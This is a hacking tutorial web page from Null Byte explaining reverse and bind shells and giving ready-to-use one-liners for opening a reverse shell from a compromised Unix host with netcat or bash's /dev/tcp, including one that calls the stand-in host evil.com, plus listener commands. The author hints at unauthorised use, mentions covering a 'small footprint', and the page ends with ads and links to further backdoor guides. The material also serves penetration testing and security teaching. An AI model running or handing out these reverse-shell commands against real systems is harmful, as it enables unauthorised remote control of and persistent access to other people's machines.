How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH « Null Byte :: WonderHowTo

Reverse shells are useful for issuing commands to a remote client when the client is behind something such as a NAT. You might say, "But can't a normal shell or simple SSH tunnel do the same thing?". No, it can't. All over the internet I see a lot of confusion regarding the difference between a normal shell and a reverse shell. Let's clear this up before we get started.Reverse ShellA reverse shell works by the remote computer sending its shell to a specific user, rather than binding it to a port, which would be unreachable in many circumstances. This allows root commands over the remote server.Bind ShellA bind shell is when a user uses BASH and binds a shell to a local port that anyone can issue commands to on the local network.Reverse shells are also commonly used for nefarious purposes, like after a hacker roots a server, they will likely make a reverse shell so they have easy access to the computer for future use. Let's take a look at a few ways we could make one on an example remote computer. I trust it is one that you haven't used.RequirementsRemote Unix hostnetcatinstalled from your package repositoryReverse Shell Interaction with NetCatWhen shelled in to the remote host, simply issue the following command to send the shell back home:nc -c /bin/sh <your IP> <any unfiltered port>You could even pipe BASH through netcat./bin/sh | nc <your IP> <any unfiltered port>Then listen for the shell:nc -l -p <same unfiltered port> -vvvReverse Shell with BASHThis technique is for when netcat isn't available on the remote machine and when you want to leave a small footprint when you're doing things of a questionable nature.Listen for the shell:nc -l -p <any unfiltered port> -vvvNow create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.exec 5<>/dev/tcp/evil.com/<same unfiltered port> $ cat <&5 | while read line; do $line 2>&5 >&5; doneOr another reverse shell:0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196Then, simply send raw commands through netcat.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Exploit PHP File Inclusion in Web AppsHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlHow To:Create Backdoor on OSXHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Hack Metasploitable 2 Including Privilege EscalationHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Hack a MacBook with One Ruby CommandHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Use SQL Injection to Run OS Commands & Get a ShellHacking macOS:How to Configure a Backdoor on Anyone's MacBookHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow To:Get Root Access on OS X Mavericks and YosemiteHack Like a Pro:How to Use Netcat, the Swiss Army Knife of Hacking ToolsHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Use Meterpeter on OS XAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHack Like a Pro:How to Hack the Shellshock VulnerabilityHacking macOS:How to Create an Undetectable PayloadHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2Hack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)How To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionNews:Change from BASH to zshHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+